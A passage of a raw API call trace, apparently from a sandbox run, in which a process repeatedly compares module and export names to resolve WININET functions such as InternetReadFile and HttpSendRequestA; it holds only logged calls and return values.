lstrcmpiA (lpString1="CreateUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="CreateUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="CommitUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="UnlockUrlCacheEntryStream", lpString2="InternetReadFile") returned 1 [0082.448] lstrcmpiA (lpString1="RetrieveUrlCacheEntryStreamW", lpString2="InternetReadFile") returned 1 [0082.448] lstrcmpiA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="ReadUrlCacheEntryStream", lpString2="InternetReadFile") returned 1 [0082.448] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetReadFile") returned -1 [0082.448] lstrcmpiA (lpString1="InternetFortezzaCommand", lpString2="InternetReadFile") returned -1 [0082.448] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.448] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.448] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.448] lstrcmpiA (lpString1="PSAPI.DLL", lpString2="WININET.DLL") returned -1 [0082.448] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.448] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.448] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.448] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.448] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.448] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.448] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0082.448] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.448] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.448] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.449] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.449] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0082.449] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0082.449] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0082.449] lstrcmpiA (lpString1="VERSION.dll", lpString2="WININET.DLL") returned -1 [0082.449] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0082.449] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.449] lstrcmpiA (lpString1="OCCACHE.dll", lpString2="WININET.DLL") returned -1 [0082.449] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.449] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.449] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.449] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0082.449] lstrcmpiA (lpString1="msi.dll", lpString2="WININET.DLL") returned -1 [0082.449] lstrcmpiA (lpString1="USERENV.dll", lpString2="WININET.DLL") returned -1 [0082.449] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.449] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="InternetGetConnectedStateExW", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="InternetGetCookieExW", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="InternetSetCookieExW", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="InternetQueryOptionA", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="InternetCrackUrlW", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="SetUrlCacheEntryGroupW", lpString2="InternetWriteFile") returned 1 [0082.449] lstrcmpiA (lpString1="InternetGetConnectedState", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="SetUrlCacheEntryInfoW", lpString2="InternetWriteFile") returned 1 [0082.449] lstrcmpiA (lpString1="InternetCrackUrlA", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="InternetCreateUrlA", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="InternetCreateUrlW", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetWriteFile") returned -1 [0082.449] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="InternetWriteFile") returned 1 [0082.450] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="InternetShowSecurityInfoByURLW", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="InternetGoOnlineW", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionA", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="InternetErrorDlg", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="CommitUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="CreateUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="CreateUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="CommitUrlCacheEntryA", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="UnlockUrlCacheEntryStream", lpString2="InternetWriteFile") returned 1 [0082.450] lstrcmpiA (lpString1="RetrieveUrlCacheEntryStreamW", lpString2="InternetWriteFile") returned 1 [0082.450] lstrcmpiA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="ReadUrlCacheEntryStream", lpString2="InternetWriteFile") returned 1 [0082.450] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetWriteFile") returned -1 [0082.450] lstrcmpiA (lpString1="InternetFortezzaCommand", lpString2="InternetWriteFile") returned -1 [0082.450] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.450] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.450] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.450] lstrcmpiA (lpString1="PSAPI.DLL", lpString2="WININET.DLL") returned -1 [0082.450] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.450] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.450] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.450] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.450] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.450] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.450] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="VERSION.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0082.451] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="OCCACHE.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.451] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="msi.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="USERENV.dll", lpString2="WININET.DLL") returned -1 [0082.451] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.451] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetReadFileExA") returned -1 [0082.451] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="InternetReadFileExA") returned -1 [0082.451] lstrcmpiA (lpString1="InternetGetConnectedStateExW", lpString2="InternetReadFileExA") returned -1 [0082.451] lstrcmpiA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0082.451] lstrcmpiA (lpString1="InternetGetCookieExW", lpString2="InternetReadFileExA") returned -1 [0082.451] lstrcmpiA (lpString1="InternetSetCookieExW", lpString2="InternetReadFileExA") returned 1 [0082.451] lstrcmpiA (lpString1="InternetQueryOptionA", lpString2="InternetReadFileExA") returned -1 [0082.451] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="InternetReadFileExA") returned 1 [0082.451] lstrcmpiA (lpString1="InternetCrackUrlW", lpString2="InternetReadFileExA") returned -1 [0082.451] lstrcmpiA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetReadFileExA") returned -1 [0082.451] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetReadFileExA") returned -1 [0082.451] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0082.451] lstrcmpiA (lpString1="SetUrlCacheEntryGroupW", lpString2="InternetReadFileExA") returned 1 [0082.451] lstrcmpiA (lpString1="InternetGetConnectedState", lpString2="InternetReadFileExA") returned -1 [0082.451] lstrcmpiA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetReadFileExA") returned -1 [0082.451] lstrcmpiA (lpString1="SetUrlCacheEntryInfoW", lpString2="InternetReadFileExA") returned 1 [0082.451] lstrcmpiA (lpString1="InternetCrackUrlA", lpString2="InternetReadFileExA") returned -1 [0082.451] lstrcmpiA (lpString1="InternetCreateUrlA", lpString2="InternetReadFileExA") returned -1 [0082.451] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="InternetReadFileExA") returned 1 [0082.451] lstrcmpiA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetReadFileExA") returned -1 [0082.451] lstrcmpiA (lpString1="InternetCreateUrlW", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="InternetReadFileExA") returned 1 [0082.452] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="InternetShowSecurityInfoByURLW", lpString2="InternetReadFileExA") returned 1 [0082.452] lstrcmpiA (lpString1="InternetGoOnlineW", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionA", lpString2="InternetReadFileExA") returned 1 [0082.452] lstrcmpiA (lpString1="InternetErrorDlg", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="CommitUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="CreateUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="CreateUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="CommitUrlCacheEntryA", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="UnlockUrlCacheEntryStream", lpString2="InternetReadFileExA") returned 1 [0082.452] lstrcmpiA (lpString1="RetrieveUrlCacheEntryStreamW", lpString2="InternetReadFileExA") returned 1 [0082.452] lstrcmpiA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="ReadUrlCacheEntryStream", lpString2="InternetReadFileExA") returned 1 [0082.452] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetReadFileExA") returned -1 [0082.452] lstrcmpiA (lpString1="InternetFortezzaCommand", lpString2="InternetReadFileExA") returned -1 [0082.452] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.452] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.452] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.452] lstrcmpiA (lpString1="PSAPI.DLL", lpString2="WININET.DLL") returned -1 [0082.452] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.452] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.452] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.452] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.452] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="VERSION.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0082.453] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="OCCACHE.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.453] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="msi.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="USERENV.dll", lpString2="WININET.DLL") returned -1 [0082.453] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.453] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetReadFileExW") returned -1 [0082.453] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="InternetReadFileExW") returned -1 [0082.453] lstrcmpiA (lpString1="InternetGetConnectedStateExW", lpString2="InternetReadFileExW") returned -1 [0082.453] lstrcmpiA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0082.453] lstrcmpiA (lpString1="InternetGetCookieExW", lpString2="InternetReadFileExW") returned -1 [0082.453] lstrcmpiA (lpString1="InternetSetCookieExW", lpString2="InternetReadFileExW") returned 1 [0082.453] lstrcmpiA (lpString1="InternetQueryOptionA", lpString2="InternetReadFileExW") returned -1 [0082.453] lstrcmpiA (lpString1="InternetSetOptionW", lpString2="InternetReadFileExW") returned 1 [0082.453] lstrcmpiA (lpString1="InternetCrackUrlW", lpString2="InternetReadFileExW") returned -1 [0082.453] lstrcmpiA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetReadFileExW") returned -1 [0082.453] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetReadFileExW") returned -1 [0082.453] lstrcmpiA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0082.453] lstrcmpiA (lpString1="SetUrlCacheEntryGroupW", lpString2="InternetReadFileExW") returned 1 [0082.453] lstrcmpiA (lpString1="InternetGetConnectedState", lpString2="InternetReadFileExW") returned -1 [0082.453] lstrcmpiA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetReadFileExW") returned -1 [0082.453] lstrcmpiA (lpString1="SetUrlCacheEntryInfoW", lpString2="InternetReadFileExW") returned 1 [0082.453] lstrcmpiA (lpString1="InternetCrackUrlA", lpString2="InternetReadFileExW") returned -1 [0082.453] lstrcmpiA (lpString1="InternetCreateUrlA", lpString2="InternetReadFileExW") returned -1 [0082.453] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionW", lpString2="InternetReadFileExW") returned 1 [0082.454] lstrcmpiA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="InternetCreateUrlW", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="FindCloseUrlCache", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="PrivacySetZonePreferenceW", lpString2="InternetReadFileExW") returned 1 [0082.454] lstrcmpiA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="InternetShowSecurityInfoByURLW", lpString2="InternetReadFileExW") returned 1 [0082.454] lstrcmpiA (lpString1="InternetGoOnlineW", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="InternetSetPerSiteCookieDecisionA", lpString2="InternetReadFileExW") returned 1 [0082.454] lstrcmpiA (lpString1="InternetErrorDlg", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="CommitUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="CreateUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="CreateUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="CommitUrlCacheEntryA", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="UnlockUrlCacheEntryStream", lpString2="InternetReadFileExW") returned 1 [0082.454] lstrcmpiA (lpString1="RetrieveUrlCacheEntryStreamW", lpString2="InternetReadFileExW") returned 1 [0082.454] lstrcmpiA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="ReadUrlCacheEntryStream", lpString2="InternetReadFileExW") returned 1 [0082.454] lstrcmpiA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetReadFileExW") returned -1 [0082.454] lstrcmpiA (lpString1="InternetFortezzaCommand", lpString2="InternetReadFileExW") returned -1 [0082.454] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274ecd0 | out: hHeap=0x2350000) returned 1 [0082.454] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x274ecd0 [0082.454] lstrcmpiA (lpString1="msvcrt.dll", lpString2="WININET.DLL") returned -1 [0082.454] lstrcmpiA (lpString1="PSAPI.DLL", lpString2="WININET.DLL") returned -1 [0082.454] lstrcmpiA (lpString1="ntdll.dll", lpString2="WININET.DLL") returned -1 [0082.454] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="WININET.DLL") returned -1 [0082.454] lstrcmpiA (lpString1="GDI32.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="USER32.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="ole32.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="OLEACC.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="SHELL32.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="iertutil.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="CRYPTUI.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="VERSION.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="WINMM.dll", lpString2="WININET.DLL") returned 1 [0082.455] lstrcmpiA (lpString1="MPR.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="OCCACHE.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="urlmon.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="MLANG.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="WININET.DLL") returned 1 [0082.455] lstrcmpiA (lpString1="IMM32.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="msi.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="USERENV.dll", lpString2="WININET.DLL") returned -1 [0082.455] lstrcmpiA (lpString1="WININET.dll", lpString2="WININET.DLL") returned 0 [0082.455] lstrcmpiA (lpString1="GetUrlCacheEntryInfoExA", lpString2="HttpSendRequestA") returned -1 [0082.455] lstrcmpiA (lpString1="InternetQueryOptionW", lpString2="HttpSendRequestA") returned 1 [0082.455] lstrcmpiA (lpString1="InternetGetConnectedStateExW", lpString2="HttpSendRequestA") returned 1 [0082.455] lstrcmpiA (lpString1="FindFirstUrlCacheContainerA", lpString2="HttpSendRequestA") returned -1 [0082.455] lstrcmpiA (lpString1="InternetGetCookieExW", 